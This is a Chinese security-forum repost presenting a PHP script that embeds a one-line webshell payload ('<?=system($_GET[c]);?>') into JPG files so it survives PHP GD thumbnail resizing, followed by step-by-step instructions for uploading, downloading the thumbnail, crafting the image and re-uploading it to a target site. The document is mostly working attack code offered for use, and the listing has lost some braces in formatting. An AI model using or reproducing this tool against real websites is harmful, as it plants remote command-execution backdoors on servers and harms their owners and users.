热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

突破php压缩实现图片马 JPG

发布时间:2013-08-13 09:40文章来源:wooyun文章作者:ivers 点击次数:
摘要:之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用 PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算 详见: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 但是受限于 图像的尺寸 必须320320 且必须...

之前有人发布了 利用PNG 图片上述压缩函数的方法 原理利用
PNG的结构IDAT chunks填充一句话webshell,并进行一套取模运算 详见:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

但是受限于 图像的尺寸 必须320×320 且必须是PNG格式

 

那JPG怎么办

神奇的老外 提出了列方法

 

  1. <?php 
  2. /* 
  3.  
  4. The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations 
  5. caused by PHP functions imagecopyresized() and imagecopyresampled(). 
  6. It is necessary that the size and quality of the initial image are the same as those of the processed 
  7. image. 
  8.  
  9. 1) Upload an arbitrary image via secured files upload script 
  10. 2) Save the processed image and launch: 
  11. php jpg_payload.php <jpg_name.jpg> 
  12.  
  13. In case of successful injection you will get a specially crafted image, which should be uploaded again. 
  14.  
  15. Since the most straightforward injection method is used, the following problems can occur: 
  16. 1) After the second processing the injected data may become partially corrupted. 
  17. 2) The jpg_payload.php script outputs "Something's wrong". 
  18. If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another 
  19. initial image. 
  20.  
  21. Sergey Bobrov @Black2Fan. 
  22.  
  23. See also: 
  24. https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ 
  25.  
  26. */ 
  27.  
  28. $miniPayload = '<?=system($_GET[c]);?>'
  29.  
  30. if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { 
  31. die('php-gd is not installed'); 
  32.  
  33. if(!isset($argv[1])) { 
  34. die('php jpg_payload.php <jpg_name.jpg>'); 
  35.  
  36. set_error_handler("custom_error_handler"); 
  37.  
  38. for($pad = 0; $pad < 1024; $pad++) { 
  39. $nullbytePayloadSize = $pad; 
  40. $dis = new DataInputStream($argv[1]); 
  41. $outStream = file_get_contents($argv[1]); 
  42. $extraBytes = 0
  43. $correctImage = TRUE
  44.  
  45. if($dis->readShort() != 0xFFD8) { 
  46. die('Incorrect SOI marker'); 
  47.  
  48. while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { 
  49. $marker = $dis->readByte(); 
  50. $size = $dis->readShort() - 2; 
  51. $dis->skip($size); 
  52. if($marker === 0xDA) { 
  53. $startPos = $dis->seek(); 
  54. $outStreamTmp = 
  55. substr($outStream, 0, $startPos) . 
  56. $miniPayload . 
  57. str_repeat("\0",$nullbytePayloadSize) . 
  58. substr($outStream, $startPos); 
  59. checkImage('_'.$argv[1], $outStreamTmp, TRUE); 
  60. if($extraBytes !== 0) { 
  61. while((!$dis->eof())) { 
  62. if($dis->readByte() === 0xFF) { 
  63. if($dis->readByte !== 0x00) { 
  64. break; 
  65. $stopPos = $dis->seek() - 2; 
  66. $imageStreamSize = $stopPos - $startPos; 
  67. $outStream = 
  68. substr($outStream, 0, $startPos) . 
  69. $miniPayload . 
  70. substr( 
  71. str_repeat("\0",$nullbytePayloadSize). 
  72. substr($outStream, $startPos, $imageStreamSize), 
  73. 0, 
  74. $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
  75. substr($outStream, $stopPos); 
  76. } elseif($correctImage) { 
  77. $outStream = $outStreamTmp; 
  78. } else { 
  79. break; 
  80. if(checkImage('payload_'.$argv[1], $outStream)) { 
  81. die('Success!'); 
  82. } else { 
  83. break; 
  84. unlink('payload_'.$argv[1]); 
  85. die('Something\'s wrong'); 
  86.  
  87. function checkImage($filename, $data, $unlink = FALSE) { 
  88. global $correctImage; 
  89. file_put_contents($filename, $data); 
  90. $correctImage = TRUE
  91. imagecreatefromjpeg($filename); 
  92. if($unlink) 
  93. unlink($filename); 
  94. return $correctImage; 
  95.  
  96. function custom_error_handler($errno, $errstr, $errfile, $errline) { 
  97. global $extraBytes, $correctImage; 
  98. $correctImage = FALSE
  99. if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { 
  100. if(isset($m[1])) { 
  101. $extraBytes = (int)$m[1]; 
  102.  
  103. class DataInputStream { 
  104. private $binData; 
  105. private $order; 
  106. private $size; 
  107.  
  108. public function __construct($filename, $order = false, $fromString = false) { 
  109. $this->binData = ''
  110. $this->order = $order; 
  111. if(!$fromString) { 
  112. if(!file_exists($filename) || !is_file($filename)) 
  113. die('File not exists ['.$filename.']'); 
  114. $this->binData = file_get_contents($filename); 
  115. } else { 
  116. $this->binData = $filename; 
  117. $this->size = strlen($this->binData); 
  118.  
  119. public function seek() { 
  120. return ($this->size - strlen($this->binData)); 
  121.  
  122. public function skip($skip) { 
  123. $this->binData = substr($this->binData, $skip); 
  124.  
  125. public function readByte() { 
  126. if($this->eof()) { 
  127. die('End Of File'); 
  128. $byte = substr($this->binData, 0, 1); 
  129. $this->binData = substr($this->binData, 1); 
  130. return ord($byte); 
  131.  
  132. public function readShort() { 
  133. if(strlen($this->binData) < 2) { 
  134. die('End Of File'); 
  135. $short = substr($this->binData, 0, 2); 
  136. $this->binData = substr($this->binData, 2); 
  137. if($this->order) { 
  138. $short = (ord($short[1]) << 8) + ord($short[0]); 
  139. } else { 
  140. $short = (ord($short[0]) << 8) + ord($short[1]); 
  141. return $short; 
  142.  
  143. public function eof() { 
  144. return !$this->binData||(strlen($this->binData) === 0); 
  145. ?> 

http://pastebin.com/3cznqi8P
具体方法 时:
1. 你先要 上传你想要构造的图片马原片
2. 等网站生成完缩略图下载下来
3. 用上述脚本 生成带图片的 木马
4. 重新上传到网站 结束

这个也要看运气成分
 

标签分类:

上一篇:几种通用防注入程序绕过方法
下一篇:安全狗绕过测试--注入篇